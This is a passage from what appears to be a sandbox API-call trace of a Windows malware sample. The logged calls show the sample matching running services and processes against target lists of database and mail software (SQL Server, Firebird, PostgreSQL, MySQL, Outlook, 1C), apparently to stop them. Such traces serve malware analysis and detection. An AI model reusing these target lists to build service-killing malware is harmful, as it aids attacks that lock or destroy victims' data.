(lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0056.434] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0056.434] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0056.434] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0056.434] lstrlenW (lpString="SamSs") returned 5 [0056.434] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0056.434] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0056.434] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0056.434] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0056.434] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0056.434] lstrlenW (lpString="Schedule") returned 8 [0056.434] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0056.434] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0056.434] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0056.434] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0056.434] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0056.434] lstrlenW (lpString="SENS") returned 4 [0056.434] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0056.434] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0056.434] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0056.435] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0056.435] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0056.435] lstrlenW (lpString="ShellHWDetection") returned 16 [0056.435] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0056.435] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0056.435] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0056.435] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0056.435] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0056.435] lstrlenW (lpString="Spooler") returned 7 [0056.435] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0056.435] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0056.435] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0056.435] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0056.435] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0056.435] lstrlenW (lpString="swprv") returned 5 [0056.435] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="swprv") returned -1 [0056.435] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="swprv") returned -1 [0056.435] lstrcmpiW (lpString1="sqlwriter", lpString2="swprv") returned -1 [0056.435] lstrcmpiW (lpString1="mssqlserver", lpString2="swprv") returned -1 [0056.435] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="swprv") returned -1 [0056.435] lstrlenW (lpString="SysMain") returned 7 [0056.435] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0056.435] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0056.435] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0056.435] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0056.435] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0056.435] lstrlenW (lpString="Themes") returned 6 [0056.435] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0056.435] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0056.435] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0056.435] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0056.435] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0056.435] lstrlenW (lpString="TrkWks") returned 6 [0056.435] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0056.435] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0056.436] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0056.436] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0056.436] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0056.436] lstrlenW (lpString="UxSms") returned 5 [0056.436] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0056.436] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0056.436] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0056.436] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0056.436] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0056.436] lstrlenW (lpString="VSS") returned 3 [0056.436] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="VSS") returned -1 [0056.436] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="VSS") returned -1 [0056.436] lstrcmpiW (lpString1="sqlwriter", lpString2="VSS") returned -1 [0056.436] lstrcmpiW (lpString1="mssqlserver", lpString2="VSS") returned -1 [0056.436] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="VSS") returned -1 [0056.436] lstrlenW (lpString="WdiServiceHost") returned 14 [0056.436] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0056.436] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0056.436] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0056.436] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0056.436] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0056.436] lstrlenW (lpString="WdiSystemHost") returned 13 [0056.436] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0056.436] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0056.436] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0056.436] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0056.436] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0056.436] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0056.436] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0056.436] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0056.436] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0056.436] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0056.436] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0056.436] lstrlenW (lpString="Winmgmt") returned 7 [0056.436] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0056.437] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0056.437] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0056.437] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0056.437] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0056.437] lstrlenW (lpString="WPDBusEnum") returned 10 [0056.437] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0056.437] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0056.437] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0056.437] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0056.437] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0056.437] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x55e478 | out: hHeap=0x510000) returned 1 [0056.437] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x22c [0056.439] Process32FirstW (in: hSnapshot=0x22c, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0056.440] Process32NextW (in: hSnapshot=0x22c, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4e, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0056.440] lstrlenW (lpString="System") returned 6 [0056.440] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0056.440] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0056.441] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0056.441] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0056.441] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0056.441] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0056.441] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0056.441] Process32NextW (in: hSnapshot=0x22c, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0056.441] lstrlenW (lpString="smss.exe") returned 8 [0056.441] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0056.441] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0056.441] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0056.441] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0056.441] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0056.441] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0056.441] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0056.441] Process32NextW (in: hSnapshot=0x22c, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0056.442] lstrlenW (lpString="csrss.exe") returned 9 [0056.442] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0056.442] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0056.442] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0056.442] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0056.442] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0056.442] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0056.442] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0056.442] Process32NextW (in: hSnapshot=0x22c, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0056.442] lstrlenW (lpString="wininit.exe") returned 11 [0056.442] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0056.443] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0056.443] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0056.443] Process32NextW (in: hSnapshot=0x22c, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0056.443] lstrlenW (lpString="csrss.exe") returned 9 [0056.443] Process32NextW (in: hSnapshot=0x22c, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0056.444] lstrlenW (lpString="winlogon.exe") returned 12 [0056.444] Process32NextW (in: hSnapshot=0x22c, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0056.444] lstrlenW (lpString="services.exe") returned 12 [0056.444] Process32NextW (in: hSnapshot=0x22c, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0056.445] lstrlenW (lpString="lsass.exe") returned 9 [0056.445] Process32NextW (in: hSnapshot=0x22c, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0056.445] lstrlenW (lpString="lsm.exe") returned 7 [0056.445] Process32NextW (in: hSnapshot=0x22c, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0056.446] lstrlenW (lpString="svchost.exe") returned 11 [0056.446] Process32NextW (in: hSnapshot=0x22c, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0056.446] lstrlenW (lpString="svchost.exe") returned 11 [0056.446] Process32NextW (in: hSnapshot=0x22c, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0056.447] lstrlenW (lpString="svchost.exe") returned 11 [0056.447] Process32NextW (in: hSnapshot=0x22c, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x334, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0056.447] lstrlenW (lpString="svchost.exe") returned 11 [0056.447] Process32NextW (in: hSnapshot=0x22c, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2f, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0056.448] lstrlenW (lpString="svchost.exe") returned 11 [0056.448] Process32NextW (in: hSnapshot=0x22c, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0056.448] lstrlenW (lpString="audiodg.exe") returned 11 [0056.448] Process32NextW (in: hSnapshot=0x22c, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0056.449] lstrlenW (lpString="svchost.exe") returned 11 [0056.449] Process32NextW (in: hSnapshot=0x22c, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0056.449] lstrlenW (lpString="svchost.exe") returned 11 [0056.449] Process32NextW (in: hSnapshot=0x22c, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x334, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0056.450] lstrlenW (lpString="dwm.exe") returned 7 [0056.450] Process32NextW (in: hSnapshot=0x22c, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x22, th32ParentProcessID=0x440, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0056.450] lstrlenW (lpString="explorer.exe") returned 12 [0056.450] Process32NextW (in: hSnapshot=0x22c, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0056.451] lstrlenW (lpString="spoolsv.exe") returned 11 [0056.451] Process32NextW (in: hSnapshot=0x22c, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0056.452] lstrlenW (lpString="taskhost.exe") returned 12 [0056.452] Process32NextW (in: hSnapshot=0x22c, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0056.452] lstrlenW (lpString="svchost.exe") returned 11 [0056.452] Process32NextW (in: hSnapshot=0x22c, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0056.453] lstrlenW (lpString="taskeng.exe") returned 11 [0056.453] Process32NextW (in: hSnapshot=0x22c, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1cc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0056.453] lstrlenW (lpString="taskhost.exe") returned 12 [0056.453] Process32NextW (in: hSnapshot=0x22c, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="dear.exe")) returned 1 [0056.454] lstrlenW (lpString="dear.exe") returned 8 [0056.454] Process32NextW (in: hSnapshot=0x22c, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x440, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="b costa.exe")) returned 1 [0056.454] lstrlenW (lpString="b costa.exe") returned 11 [0056.454] Process32NextW (in: hSnapshot=0x22c, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x660, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="rc lock.exe")) returned 1 [0056.455] lstrlenW (lpString="rc lock.exe") returned 11 [0056.455] Process32NextW (in: hSnapshot=0x22c, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x32c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="golden_bt_olive.exe")) returned 1 [0056.455] lstrlenW (lpString="golden_bt_olive.exe") returned 19 [0056.456] Process32NextW (in: hSnapshot=0x22c, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="hugown.exe")) returned 1 [0056.456] lstrlenW (lpString="hugown.exe") returned 10 [0056.456] Process32NextW (in: hSnapshot=0x22c, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x328, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="bless_gear_inquiry.exe")) returned 1 [0056.457] lstrlenW (lpString="bless_gear_inquiry.exe") returned 22 [0056.457] Process32NextW (in: hSnapshot=0x22c, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x248, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="ted_paragraph.exe")) returned 1 [0056.457] lstrlenW (lpString="ted_paragraph.exe") returned 17 [0056.457] Process32NextW (in: hSnapshot=0x22c, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="locked welsh.exe")) returned 1 [0056.458] lstrlenW (lpString="locked welsh.exe") returned 16 [0056.458] Process32NextW (in: hSnapshot=0x22c, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x274, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="votejoyceinstructors.exe")) returned 1 [0056.458] lstrlenW (lpString="votejoyceinstructors.exe") returned 24 [0056.458] Process32NextW (in: hSnapshot=0x22c, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lebanon_executives.exe")) returned 1 [0056.459] lstrlenW (lpString="lebanon_executives.exe") returned 22 [0056.459] Process32NextW (in: hSnapshot=0x22c, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="planners.exe")) returned 1 [0056.459] lstrlenW (lpString="planners.exe") returned 12 [0056.459] Process32NextW (in: hSnapshot=0x22c, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="agreements.exe")) returned 1 [0056.460] lstrlenW (lpString="agreements.exe") returned 14 [0056.460] Process32NextW (in: hSnapshot=0x22c, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="tray.exe")) returned 1 [0056.460] lstrlenW (lpString="tray.exe") returned 8 [0056.460] Process32NextW (in: hSnapshot=0x22c, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="wp std.exe")) returned 1 [0056.461] lstrlenW (lpString="wp std.exe") returned 10 [0056.461] Process32NextW (in: hSnapshot=0x22c, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lesser.exe")) returned 1 [0056.461] lstrlenW (lpString="lesser.exe") returned 10 [0056.461] Process32NextW (in: hSnapshot=0x22c, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x324, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="right-tissue.exe")) returned 1 [0056.462] lstrlenW (lpString="right-tissue.exe") returned 16 [0056.462] Process32NextW (in: hSnapshot=0x22c, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="bunch.exe")) returned 1 [0056.462] lstrlenW (lpString="bunch.exe") returned 9 [0056.462] Process32NextW (in: hSnapshot=0x22c, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x53c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="jam.exe")) returned 1 [0056.463] lstrlenW (lpString="jam.exe") returned 7 [0056.463] Process32NextW (in: hSnapshot=0x22c, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="chooseincidence.exe")) returned 1 [0056.463] lstrlenW (lpString="chooseincidence.exe") returned 19 [0056.463] Process32NextW (in: hSnapshot=0x22c, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="numericalrear.exe")) returned 1 [0056.464] lstrlenW (lpString="numericalrear.exe") returned 17 [0056.464] Process32NextW (in: hSnapshot=0x22c, lppe=0x223fd34 | out: 